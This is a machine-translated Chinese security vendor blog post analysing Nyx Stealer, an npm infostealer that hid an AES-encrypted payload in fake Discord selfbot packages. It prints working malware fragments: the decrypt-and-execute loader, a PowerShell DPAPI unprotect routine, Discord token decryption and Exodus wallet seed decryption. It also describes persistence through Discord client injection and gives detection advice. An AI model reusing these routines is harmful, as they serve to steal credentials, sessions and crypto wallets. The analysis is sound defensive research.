npm 信息窃取器

发现新的 npm 信息窃取工具:Nyx 窃取工具劫持 Discord 会话

TL博士

Xygeni 安全研究团队 发现了一起通过两个恶意软件包传播的复杂的 npm 信息窃取活动: 控制台 以及 自机器人-lofy.

最新版本 (consolelofy@1.3.0) 嵌入一​​个 216KB 的 AES 加密有效载荷,该有效载荷在运行时解密并通过以下方式执行: vm.runInNewContext()由于恶意逻辑完全加密,依赖字符串检查的静态扫描器在执行之前无法观察到其行为。

解密后,有效载荷(内部品牌) 尼克斯窃贼, 目标:

  • Discord身份验证令牌
  • 50多个浏览器凭据存储
  • 90多个加密货币钱包扩展程序
  • Roblox、Instagram、Spotify、Steam、Telegram 和 TikTok 会话
  • Discord桌面客户端持久性

报告显示,两个软件包中的所有 20 个版本均为恶意版本,并已确认其恶意性质。

npm 信息窃取器的技术概述

与传统的安装时恶意软件不同,此次攻击活动依赖于…… 运行 解密模型.

有:

  • 无恶意 preinstall or postinstall hooks
  • 没有明显的安装时网络调用
  • 没有明文凭证收集逻辑

模块导入时,有效载荷会被激活。整个恶意代码都被加密,仅在运行时才会加载到内存中。

这种设计专门避免在软件包安装过程中被检测到。

这个 npm 信息窃取器实际是如何执行的

在分析 Nyx Stealer 窃取什么之前,我们需要了解 它是如何执行的.

这个 npm 信息窃取程序内部的恶意逻辑遵循着一致的模式:

一个小型加载器解密一个大型加密有效载荷,并在 Node.js VM 上下文中动态执行它。

这种设计是蓄意的。攻击者并非仅仅通过混淆来隐藏功能,他们…… 完全从静态可见性中移除恶意代码.

高级执行模型

从总体上看,该包装器执行四项操作:

  • 使用 SHA-256 算法从硬编码的密码短语派生出 AES 密钥。
  • 使用 AES-256-CBC 解密大型十六进制编码密文
  • 使用以下方式执行已解密的 JavaScript: vm.runInNewContext()
  • 提供一个沙箱环​​境,同时仍然开放强大的运行时原语。

核心技术概述

元件 配置/值
算法 AES-256-CBC
密钥派生 SHA-256(密码)
初始化向量(IV) 16 字节的 0x00
执行 vm.runInNewContext(decrypted, sandbox)

至关重要的是,沙盒会经过以下几个阶段:

  • require
  • process
  • Buffer
  • 定时器
  • 模块导出

这意味着解密后的有效载荷仍然具备以下全部能力:

  • 生成过程
  • 读取和写入文件
  • 拨打网络电话
  • 修改本地应用程序

这不是一台受限虚拟机,而是一台用作执行跳板的虚拟机。

运行时加密模式(核心执行机制)

装载机很小。
恶意主体并非如此。

以下是软件包内部的执行模式:

const crypto = require('crypto');
const vm = require('vm');

function decryptAndExecute(encryptedHex, passphrase) {
    const key = crypto.createHash('sha256')
                      .update(passphrase)
                      .digest();

    const iv = Buffer.alloc(16, 0);

    const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
    let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
    decrypted += decipher.final('utf8');

    const sandbox = {
        require,
        module,
        exports,
        console,
        process,
        Buffer,
        __dirname,
        __filename,
        setTimeout,
        setInterval,
        clearTimeout,
        clearInterval
    };

    vm.runInNewContext(decrypted, sandbox);
}

为什么重要意义

解密后的有效载荷:

  • 儿童在 不会 以明文形式存在于 npm 包中
  • 对简单用户来说是不可见的 grep 或静态字符串扫描
  • 仅在运行时才会在内存中实例化。
  • 以完整的 Node 运行时功能执行

AES + VM 执行组合是强有力的行为指标,表明存在某种问题。 npm 信息窃取程序试图绕过静态检查.

换一种说法:

如果扫描软件包源代码树,则不会发现窃取者。
你看到的是一个解密器。

解密之后会发生什么

一旦执行,Nyx Stealer 就会启动并行数据收集波。

第一阶段:浏览器凭证提取

恶意软件:

  • 从 NuGet CDN 下载 Python 运行时环境
  • 安装加密库
  • 提取基于 Chromium 的凭证存储
  • 解密受 DPAPI 保护的密钥

它不编译本地绑定,而是利用 PowerShell 直接调用 Windows DPAPI。

function dpapiUnprotectWithPowerShell(dataBuf) {
    const b64 = dataBuf.toString('base64');

    const ps =
        "Add-Type -AssemblyName System.Security;" +
        "$b=[Convert]::FromBase64String('" + b64 + "');" +
        "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
        "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
        "[Console]::Out.Write([Convert]::ToBase64String($p))";

    const cmd =
        `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;

    return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}

这种方法:

  • 避免编译产物
  • 使用原生 Windows 加密 API
  • 融入管理工具

这是操作系统级别的凭证解密,而不是数据抓取。

第二波:Discord Token 解密

窃取者了解协议。它能理解 Discord 的加密令牌格式。

function decryptToken(encryptedToken, key) {
    const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
    const encryptedData = Buffer.from(tokenParts[1], 'base64');

    const iv = encryptedData.slice(3, 15);
    const ciphertext = encryptedData.slice(15, -16);
    const tag = encryptedData.slice(-16);

    const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
    decipher.setAuthTag(tag);

    return decipher.update(ciphertext).toString('utf8');
}

操作流程:

  • 从 Discord 中提取主密钥 Local State
  • 通过 DPAPI 解密主密钥
  • 解密 AES-GCM 令牌块
  • 使用 Discord API 验证令牌
  • 丰富 Nitro、徽章和账单信息

这不是普通的凭证转储,而是协议感知型会话劫持。

第三波:加密货币钱包目标定位

npm 信息窃取器列举了以下内容:

  • 90+ 款浏览器钱包扩展程序
  • 27款桌面钱包
  • 冷钱包路径
  • 出埃及记种子文件

种子解密尝试示例:

function decryptSeco(content, password) {
    const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');

    const decipher = crypto.createDecipheriv(
        'aes-256-gcm',
        key,
        content.slice(0, 12)
    );

    decipher.setAuthTag(content.slice(-16));

    return Buffer.concat([
        decipher.update(content.slice(12, -16)),
        decipher.final()
    ]).toString('utf8');
}

如果得逞,钱包被盗是立即且不可逆转的。

这代表了该活动价值最高的盈利途径。

通过 Discord 桌面注入实现持久化

在窃取凭证后,Nyx Stealer 会尝试通过修改本地文件来实现持久化。 Discord 专属社区 顾客。

Target:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

操作顺序

信息窃取程序会执行以下步骤:

  • 终止正在运行的 Discord 进程
  • 查找已安装的 Discord 版本(稳定版、Canary 版、PTB 版)
  • 覆盖 discord_desktop_core/index.js
  • 注入攻击者控制的 webhook 逻辑
  • 重启 Discord

这样可以确保未来的 Discord 会话自动泄露新的身份验证令牌。

重要的是,这种持久化并不依赖于计划任务或注册表修改,而是利用应用程序级别的代码修改,这是一种更隐蔽的方法。

即使恶意 npm 包随后被移除,Discord 客户端仍然会被入侵。

技术对比:合法的 Selfbot 与 npm Infostealer

元件 合法图书馆 Nyx npm 信息窃取者
加密 没有 完整的AES加密有效载荷
运行时虚拟机 不需要 vm.runInNewContext 执行
凭证访问 仅限 Discord API 浏览器、钱包、DPAPI
外部下载 没有 通过 NuGet 运行 Python 运行时。
坚持 没有 Discord客户端注入
货币化 机器人自动化 证书转售

单是加密层就足以将这个项目与典型的开源分支区分开来。

一个合法的 Discord 自研机器人没有理由加密其整个代码库、启动 PowerShell 来访问 DPAPI、下载外部运行时环境或修改桌面应用程序的内部结构。当这些功能出现在声称可以自动化 Discord 交互的依赖项中时,这种架构上的不匹配就变得无法忽视了。

从调查角度来看,这个 npm 信息窃取工具会在多个层面留下痕迹。然而,最可靠的线索并非硬编码的 URL 或特定的文件路径,因为这些内容可能会在不同版本之间发生变化。相反,持久有效的线索是结构性的。

在软件包层面,最明显的危险信号是大型加密有效载荷与运行时解密包装器(该包装器会立即执行)的组合。 vm.runInNewContext()虽然加密本身并不具有恶意,但在 Discord 实用程序包中使用 AES 解密,然后再进行动态 VM 执行,这是非常不寻常的。

在主机层面,可疑模式包括意外的 DPAPI 解密活动、从 Node.js 依赖上下文中生成的进程,以及第三方库不应修改的本地应用程序文件的修改。同样,在网络层面,由开发依赖项发起的出站 webhook 式通信也代表着一种重要的异常情况。

换句话说,检测面并非单一的入侵指标。加密、运行时执行、凭证访问和持久化行为之间的关联性才能揭示威胁。

利用 Xygeni 进行检测和缓解

npm 信息窃取器

这个 npm 信息窃取程序已被发现 Xygeni 的恶意软件预警 (MEW) 通过分层行为相关性而非简单的特征匹配。

MEW 并非搜索已知的恶意字符串,而是评估整个源代码树中的结构异常。在本例中,检测结果源于多个信号的汇聚:模块入口点中嵌入的 AES 解密例程、在虚拟机上下文中立即执行以及明显的能力与意图不符。

重要的是,这些信号单独来看都无法证明存在恶意意图。然而,当综合分析这些信号时,它们揭示了一种试图掩盖运行时行为的企图。这种分层方法显著降低了误报率,同时识别出高置信度的供应链威胁。

此外,本案例也说明了仅靠安装时检查是不够的。恶意逻辑并非驻留在生命周期脚本中,而是在模块加载后才激活,并且只有在内存中解密后才会显现。因此,有效的防御需要具备加密感知分析、行为模式识别以及安装事件之外的持续依赖关系监控能力。

注册表删除是被动的,而运行时感知分析是预防性的。

为什么这个 npm 信息窃取器如此重要

Nyx Stealer 代表了基于 npm 的恶意软件的结构演变。

以往,许多恶意软件包依赖于可见的安装时脚本或明显的凭证窃取端点。相比之下,此次攻击活动对其有效载荷进行加密,将执行延迟到运行时,利用合法的操作系统 API,并在受信任的应用程序中建立持久性。

因此,攻击者无需利用 npm 基础设施本身。攻击之所以成功,是因为依赖项的安装意味着信任。开发者通常认为导入库是安全的,尤其当该库伪装成某个流行工具的可靠分支时。

随着生态系统不断发展壮大,分支层出不穷,这种隐式的信任边界正逐渐成为极具吸引力的攻击面。因此,防御现代 npm 信息窃取攻击的关键在于识别架构模式,而非仅仅搜索静态字符串。

最终,这场运动强化了一个至关重要的教训: software supply chain security最危险的威胁不是那些乍一看很恶意的威胁,而是那些在运行时才会显露出其真实行为的结构上看似合法的威胁。

sca-tools-软件-成分分析工具
确定软件风险的优先级、进行补救并加以保护
7-day免费试用
无需信用卡

保护您的软件开发和交付

使用 Xygeni 产品套件